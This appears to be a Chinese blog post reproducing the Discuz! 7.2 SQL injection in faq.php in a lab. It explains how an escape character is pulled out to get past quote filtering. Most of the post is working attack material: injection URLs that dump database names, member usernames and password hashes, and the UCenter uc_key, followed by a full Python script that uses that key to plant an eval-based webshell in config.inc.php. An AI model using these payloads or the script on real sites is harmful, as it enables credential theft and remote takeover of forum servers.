Discuz!7.2 SQL注入复现实验

0x01 实验准备

实验原理:

Discuz7.2 SQL注入漏洞利用PHP特性突破GPC,形成SQL注入漏洞。

实验工具:

UCenter+Discuz 7.2安装包

实验环境:
  1. 安装 Discuz 网站的服务器(Windows)
  2. 安装 python 环境的攻击机

0x01 实验步骤

一、搭建环境
1. 安装UCenter

通过 http://192.168.88.129/dz7.2/upload/install/index.php 页面安装:
在这里插入图片描述
出现错误:
在这里插入图片描述
将UCenter文件放置在dz7.2文件夹下,访问http://192.168.88.129/dz7.2/UCenter/upload/install/index.php:
在这里插入图片描述
安装UCenter成功:
在这里插入图片描述

2. 安装Discuz

通过 UCenter 页面安装Discuz:
在这里插入图片描述
根据实际情况填写数据库等信息后,安装成功会自动跳转:
在这里插入图片描述

二、SQL注入漏洞复现
1. 漏洞形成原因

代码:
faq.php文件在 upload 文件夹下:

$query = $db->query("SELECT groupid, type, grouptitle, radminid FROM {$tablepre}usergroups ORDER BY (creditshigher<>'0' || creditslower<>'0'), creditslower");

discuz在全局会对GET数组进行addslashes转义,会将 ’ 转义成 ’ 。
当传入的参数是:gids[1]=' ,会被转义成 gids[1]=\'

$groupids = array();
foreach($gids as $row) {
	$groupids[] = $row[0];
}

赋值语句 $groupids[] = $row[0] 就相当于取了字符串的第一个字符
\,所以把转义符号取出来了。

function implodeids($array) {
	if(!empty($array)) {
		return "'".implode("','", is_array($array) ? $array : array($array))."'";
	} else {
		return '';
	}
}
此函数在 \include\global.func.php

将数据放入sql语句前,用 implodeids 处理过一次。implodeids函数是将$groupids数组用','分割开,组成一个类似于 ‘1’,‘2’,‘3’,‘4’ 的字符串返回。
由于刚取出一个转义符,会将正常的 ' 转义后为:'1','\','3','4'
第4个单引号被转义了,所以第5个单引号和第3个单引号形成了闭合。位置3就等于逃逸成功,形成注入。
通过提交 faq.php?gids[uid1]='&gids[uid2][0]=evilcode ,这样的构造形式语句可以突破GPC或类似的安全处理,形成SQL注入漏洞。
注意:uid1和uid2 > 网站注册用户iduid1与uid2不能相等

2.漏洞利用

(1)查询当前数据库/MySQL用户信息:

faq.php?action=grouppermission&gids[112]='&gids[113][0]=)and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

若查询MySQL用户信息,修改 database()user()

(2)利用 information_schame 查询库:

faq.php?action=grouppermission&gids[112]='&gids[113][0]=)and (select 1 from (select count(*),concat((select (select (select concat(schema_name,0x7e) from information_schema.schemata limit 0,1) ) from`information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

若查询下个数据库,修改 from information_schema.schemata limit 0,1 中的 0

(3)查询列:

faq.php?action=grouppermission&gids[112]='&gids[113][0]=)and (select 1 from (select count(*),concat(floor(rand(0)*2),0x7e,(select hex(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e)x from information_schema.tables group by x)a) --+

若查询下一个列,修改 from information_schema.tables where table_schema=database() limit 0,1 中的 0

(4)查询 cdb_members 表的 username 和 password 数据(网站注册用户的账号密码):

faq.php?action=grouppermission&gids[112]='&gids[113][0]=)and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 0,1) ) from`information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

若查询下一行数据,修改 from cdb_members limit 0,1 中的 0

(5)跨库获取uc_key(利用key写入配置文件config.inc.php getshell):

faq.php?action=grouppermission&gids[112]='&gids[113][0]=)and (select 1 from (select count(*),concat((select (select (select substr(authkey,1,66) from ucenter.uc_applications limit 0,1) ) from`information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

若查询下一行数据,修改 from uc_applications limit 0,1 中的 0
3.利用uc_key写入配置文件getshell

**原理:**过滤存在问题,导致在提交配置文件的时候,把一句话木马写入配置文件中。执行成功以后,会在根目录的config.inc.php文件中写入一句话木马。

使用命令: python xxx.py http://xxxx uc_key值

第一个参数是网站根路径,第二个参数是uc_key值。

python脚本:

#! /usr/bin/env python
#coding=utf-8
import hashlib
import time
import math
import base64
import urllib
import urllib2
import sys
 
def microtime(get_as_float = False) :
    if get_as_float:
        return time.time()
    else:
        return '%.8f %d' % math.modf(time.time())
 
def get_authcode(string, key = ''):
    ckey_length = 4
    key = hashlib.md5(key).hexdigest()
    keya = hashlib.md5(key[0:16]).hexdigest()
    keyb = hashlib.md5(key[16:32]).hexdigest()
    keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
    #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
    cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
 
    key_length = len(cryptkey)
    string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
    string_length = len(string)
    result = ''
    box = range(0, 256)
    rndkey = dict()
    for i in range(0,256):
        rndkey[i] = ord(cryptkey[i % key_length])
    j=0
    for i in range(0,256):
        j = (j + box[i] + rndkey[i]) % 256
        tmp = box[i]
        box[i] = box[j]
        box[j] = tmp
    a=0
    j=0
    for i in range(0,string_length):
        a = (a + 1) % 256
        j = (j + box[a]) % 256
        tmp = box[a]
        box[a] = box[j]
        box[j] = tmp
        result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
    return keyc + base64.b64encode(result).replace('=', '')
 
def get_shell(url,key,host):
    '''
    发送命令获取webshell
    '''
    headers={'Accept-Language':'zh-cn',
    'Content-Type':'application/x-www-form-urlencoded',
    'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
    'Referer':url
    }
    tm = time.time()+10*3600
    tm="time=%d&action=updateapps" %tm
    code = urllib.quote(get_authcode(tm,key))
    url=url+"?code="+code
    data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
            <root>
            <item id="UC_API">http://xxx\');eval($_POST[1]);//</item>
            </root>'''
    try:
        req=urllib2.Request(url,data=data1,headers=headers)
        ret=urllib2.urlopen(req)
    except:
        return "访问出错"
    data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
            <root>
            <item id="UC_API">http://aaa</item>
            </root>'''
    try:
        req=urllib2.Request(url,data=data2,headers=headers)
        ret=urllib2.urlopen(req)
    except:
        return "error"
    return "webshell:"+host+"/config.inc.php,password:1"
 
if __name__ == '__main__':
    host=sys.argv[1]
    key=sys.argv[2]
    url=host+"/api/uc.php"
    print get_shell(url,key,host)

执行成功:
执行成功后,config.inc.php文件被修改为:
在这里插入图片描述

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值